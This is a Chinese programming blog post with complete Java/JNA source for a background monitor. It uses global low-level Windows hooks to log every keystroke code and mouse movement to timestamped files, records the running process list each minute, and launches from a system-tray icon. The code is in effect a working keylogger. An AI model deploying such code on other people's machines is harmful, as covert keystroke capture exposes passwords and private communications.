java完成键盘动作_java实现鼠标和键盘动作后台监听
有的时候需要我们对鼠标和键盘的动作(鼠标的移动,键盘的点击)进行监听,比如按键记录,鼠标坐标记录等。
我们使用JNA来实现以上的操作
tips:JNA类库使用一个很小的本地类库sub 动态的调用本地代码。程序员只需要使用一个特定的java接口描述一下将要调用的本地代码的方法的结构和一些基本属性。这样就省了为了适配多个平台而大量的配置和编译代码。因为调用的都是JNA提供的公用jar 包中的接口。
首先我们实现监听鼠标的代码如下
package getInfo;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import com.sun.jna.Structure;
import com.sun.jna.examples.win32.Kernel32;
import com.sun.jna.examples.win32.User32;
import com.sun.jna.examples.win32.User32.HHOOK;
import com.sun.jna.examples.win32.User32.MSG;
import com.sun.jna.examples.win32.W32API.HMODULE;
import com.sun.jna.examples.win32.W32API.LRESULT;
import com.sun.jna.examples.win32.W32API.WPARAM;
import com.sun.jna.examples.win32.User32.HOOKPROC;
public class MouseHook implements Runnable{
public static final int WM_MOUSEMOVE = 512;
private static HHOOK hhk;
private static LowLevelMouseProc mouseHook;
final static User32 lib = User32.INSTANCE;
private boolean [] on_off=null;
public MouseHook(boolean [] on_off){
this.on_off = on_off;
}
public interface LowLevelMouseProc extends HOOKPROC {
LRESULT callback(int nCode, WPARAM wParam, MOUSEHOOKSTRUCT lParam);
}
public static class MOUSEHOOKSTRUCT extends Structure {
public static class ByReference extends MOUSEHOOKSTRUCT implements
Structure.ByReference {
};
public User32.POINT pt;
public int wHitTestCode;
public User32.ULONG_PTR dwExtraInfo;
}
public void run() {
HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);
mouseHook = new LowLevelMouseProc() {
public LRESULT callback(int nCode, WPARAM wParam,
MOUSEHOOKSTRUCT info) {
SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");
SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String fileName=df1.format(new Date());
String time=df2.format(new Date());
BufferedWriter bw1=null;
BufferedWriter bw2=null;
try {
bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Mouse.txt"),true));
bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));
} catch (IOException e) {
e.printStackTrace();
}
if (on_off[0] == false) {
System.exit(0);
}
if (nCode >= 0) {
switch (wParam.intValue()) {
case MouseHook.WM_MOUSEMOVE:
try {
bw1.write(time+" #### "+"x=" + info.pt.x
+ " y=" + info.pt.y+"\r\n");
bw2.write(time+" #### "+"x=" + info.pt.x
+ " y=" + info.pt.y+"\r\n");
bw1.flush();
bw2.flush();
} catch (IOException e) {
e.printStackTrace();
}
}
}
return lib
.CallNextHookEx(hhk, nCode, wParam, info.getPointer());
}
};
hhk = lib.SetWindowsHookEx(User32.WH_MOUSE_LL, mouseHook, hMod, 0);
int result;
MSG msg = new MSG();
while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {
if (result == -1) {
System.err.println("error in get message");
break;
} else {
System.err.println("got message");
lib.TranslateMessage(msg);
lib.DispatchMessage(msg);
}
}
lib.UnhookWindowsHookEx(hhk);
}
}
能够在鼠标移动的时候输出鼠标的坐标位置
接下来是监听键盘的代码
package getInfo;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import com.sun.jna.examples.win32.Kernel32;
import com.sun.jna.examples.win32.User32;
import com.sun.jna.examples.win32.User32.HHOOK;
import com.sun.jna.examples.win32.User32.KBDLLHOOKSTRUCT;
import com.sun.jna.examples.win32.User32.LowLevelKeyboardProc;
import com.sun.jna.examples.win32.User32.MSG;
import com.sun.jna.examples.win32.W32API.HMODULE;
import com.sun.jna.examples.win32.W32API.LRESULT;
import com.sun.jna.examples.win32.W32API.WPARAM;
public class KeyboardHook implements Runnable{
private static HHOOK hhk;
private static LowLevelKeyboardProc keyboardHook;
final static User32 lib = User32.INSTANCE;
private boolean [] on_off=null;
public KeyboardHook(boolean [] on_off){
this.on_off = on_off;
}
public void run() {
HMODULE hMod = Kernel32.INSTANCE.GetModuleHandle(null);
keyboardHook = new LowLevelKeyboardProc() {
public LRESULT callback(int nCode, WPARAM wParam, KBDLLHOOKSTRUCT info) {
SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");
SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String fileName=df1.format(new Date());
String time=df2.format(new Date());
BufferedWriter bw1=null;
BufferedWriter bw2=null;
try {
bw1=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Keyboard.txt"),true));
bw2=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_Common.txt"),true));
} catch (IOException e) {
e.printStackTrace();
}
if (on_off[0] == false) {
System.exit(0);
}
try {
bw1.write(time+" #### "+info.vkCode+"\r\n");
bw2.write(time+" #### "+info.vkCode+"\r\n");
bw1.flush();
bw2.flush();
} catch (IOException e) {
e.printStackTrace();
}
return lib.CallNextHookEx(hhk, nCode, wParam, info.getPointer());
}
};
hhk = lib.SetWindowsHookEx(User32.WH_KEYBOARD_LL, keyboardHook, hMod, 0);
int result;
MSG msg = new MSG();
while ((result = lib.GetMessage(msg, null, 0, 0)) != 0) {
if (result == -1) {
System.err.println("error in get message");
break;
} else {
System.err.println("got message");
lib.TranslateMessage(msg);
lib.DispatchMessage(msg);
}
}
lib.UnhookWindowsHookEx(hhk);
}
}
最后是获取进程信息的代码
package getInfo;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.text.SimpleDateFormat;
import java.util.Date;
public class ProcessInfo implements Runnable{
private boolean [] on_off=null;
public ProcessInfo(boolean [] on_off){
this.on_off = on_off;
}
public void run() {
BufferedReader input = null;
Process process = null;
BufferedWriter bw=null;
SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd");
SimpleDateFormat df2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String fileName=null;
String time=null;
try {
while(on_off[0]){
fileName=df1.format(new Date());
time=df2.format(new Date());
bw=new BufferedWriter(new FileWriter(new File(".//log//"+fileName+"_ProcessInfo.txt"),true));
Thread.sleep(60000);
process = Runtime.getRuntime().exec("cmd.exe /c tasklist");
input =new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line = " ";
int i=0;
input.readLine();
input.readLine();
input.readLine();
while ((line = input.readLine()) != null) {
bw.write(time+" #### "+line+"\r\n");
bw.flush();
i++;
}
}
} catch (Exception e) {
e.printStackTrace();
} finally{
try {
bw.close();
input.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
开启上述线程的类
package getInfo;
import java.awt.AWTException;
import java.awt.Image;
import java.awt.MenuItem;
import java.awt.PopupMenu;
import java.awt.SystemTray;
import java.awt.Toolkit;
import java.awt.TrayIcon;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class Monitor {
public Monitor() {
boolean [] on_off={true};
new Thread(new ProcessInfo(on_off)).start();
new Thread(new KeyboardHook(on_off)).start();
new Thread(new MouseHook(on_off)).start();
final TrayIcon trayIcon;
if (SystemTray.isSupported()) {
SystemTray tray = SystemTray.getSystemTray();
Image image = Toolkit.getDefaultToolkit().getImage(".//lib//monitor.png");
ActionListener exitListener = new ActionListener() {
public void actionPerformed(ActionEvent e) {
System.out.println("Exiting...");
System.exit(0);
}
};
PopupMenu popup = new PopupMenu();
MenuItem defaultItem = new MenuItem("Exit");
defaultItem.addActionListener(exitListener);
popup.add(defaultItem);
trayIcon = new TrayIcon(image, "monitor", popup);
ActionListener actionListener = new ActionListener() {
public void actionPerformed(ActionEvent e) {
trayIcon.displayMessage("Action Event",
"An Action Event Has Been Peformed!",
TrayIcon.MessageType.INFO);
}
};
trayIcon.setImageAutoSize(true);
trayIcon.addActionListener(actionListener);
try {
tray.add(trayIcon);
} catch (AWTException e1) {
e1.printStackTrace();
}
}
}
public static void main(String[] args) {
new Monitor();
}
}
java完成键盘动作_java实现鼠标和键盘动作后台监听相关推荐
- java模拟器键盘输入_Java模拟鼠标和键盘输入
用途 在电脑(Windows/Mac)上模拟鼠标和键盘输入 Mac运行需要打开相关权限,详见文末说明. 效果图 代码 import java.awt.*; import java.awt.event. ...
- java 接口文件夹_Java NIO.2 使用Path接口来监听文件、文件夹变化
Java7对NIO进行了大的改进,新增了许多功能: •对文件系统的访问提供了全面的支持 •提供了基于异步Channel的IO 这些新增的IO功能简称为 NIO.2,依然在java.nio包下. 早期的 ...
- 鼠标案例2-鼠标移动监听
要完成: 监听:鼠标移动到label内,发生一些事情 移动到label外发生一些事情 重写移动函数文档:鼠标案例2-鼠标移动监听.note 链接:http://note.youdao.com/note ...
- java 关闭按钮监听_Java事件处理(1)——实现简单的事件监听功能
假设我们已经建立了一个窗体,并且添加了一个按钮组件. 例:模拟登录界面 1 import javax.swing.*;2 import java.awt.*;3 4 public class Logi ...
- java swing事件监听_Java swing(awt):事件监听机制的实现原理+简单示例
(1)实现原理 事件监听机制的实现: 参考图:事件模型_ActionEvent 为了节省资源,系统无法对某个事件进行实时的监听.故实现的机制是当发生某个事件后,处理代码将被自动运行,类似钩子一般.(回 ...
- java jmenu 监听_Java中用得比较顺手的事件监听
第一次听说监听是三年前,做一个webGIS的项目,当时对Listener的印象就是个"监视器",监视着界面的一举一动,一有动静就触发对应的响应. 一.概述 通过对界面的某一或某些操 ...
- Java怎么监听鼠标滑轮的转向_javascript监听鼠标滚轮事件浅析
我们都见到过这些效果,用鼠标滚轮实现某个表单内的数字增加减少操作,或者滚轮控制某个按钮的左右,上下滚动.这些都是通过js对鼠标滚轮的事件监听来实现的.今天这里介绍的是一点简单的js对于鼠标滚轮事件的监 ...
- java swing(GUI图形化界面)基础教程3-添加事件监听1
学习此内容前建议先去学习java基础知识: 匿名内部类 (学的多的可以用lambda表达式,更加简便) 好, 我们先看一下之前的代码(即一个窗口和一个按钮) 如果想看详细内容,链接为: (23条消息) ...
- java 事件监听器是组件_JavaWeb的三大组件之事件监听组件(Listener)
JavaWeb监听器 三大组件: Servlet Listener Filter 监听器: 它是一个接口,内容由我们来实现: 它需要注册,例如注册在按钮上! 监听器中的方法,会在特殊事件发生时被调用! ...
最新文章
- 清华大学 现代软件工程 结对编程项目 (一)
- OpenCV之Python学习笔记(1)(2): 图像的载入、显示和保存 图像元素的访问、通道分离与合并
- JavaScript函数补完:toString()
- qt5使用触屏 偶尔没响应_戴着手套玩手机!你试过吗?触屏灵敏又保暖,冬天再也不冻手~...
- OpenCV精进之路(零):core组件——Mat和IplImage访问像素的方法总结
- 通过this()调用有参构造方法
- 基金公司十大非货规模逆袭(2010-2020)
- 图像处理——matlab人脸识别(1)
- 泛微e9隐藏明细表_泛微协同 泛微OA e-cology产品功能清单 模块列表
- 【转】知识图谱构建全过程
- 关于matlab匿名函数,求导
- RapidMiner介绍与实践(二)贝叶斯分类器
- AutoSAR系列讲解(深入篇)14.2-Mcal Port配置
- 不动产租赁运营平台,为不动产租赁提供强劲的运营支持
- AARRR模型——变现:终极目标(上)
- android北京实时公交,北京实时公交app
- php sendmail 抄送,Python发送邮件各种姿势
- 怎样使用手机的nfc功能模拟门禁?
- Javascript:公农历节日周年计算
- SSM SpringBoot vue限房摇号系统
热门文章
- 豆米--基于豆瓣API的WP7书籍搜索工具开源啦!
- Linux基础(1)--Vim编辑器的常用命令
- 一起来玩树莓派--解决官方docker源安装失败的问题
- 机器学习中的数学(七)--凸优化的基础知识
- 电机的入门之路系列5--二相四线,四相五线,四相六线电机的区分方法
- c++ string类 知识点整理
- 戴尔服务器板载系统raid管理,戴尔PowerEdge RAID控制卡使用示例(PERC H710P为例)
- 中国科学院计算机网络信息中心领导,中国科学院计算机网络信息中心
- linux查看程序写文件内容,Linux 文件内容查看命令
- 电子书下载:Professional ASP.NET MVC 2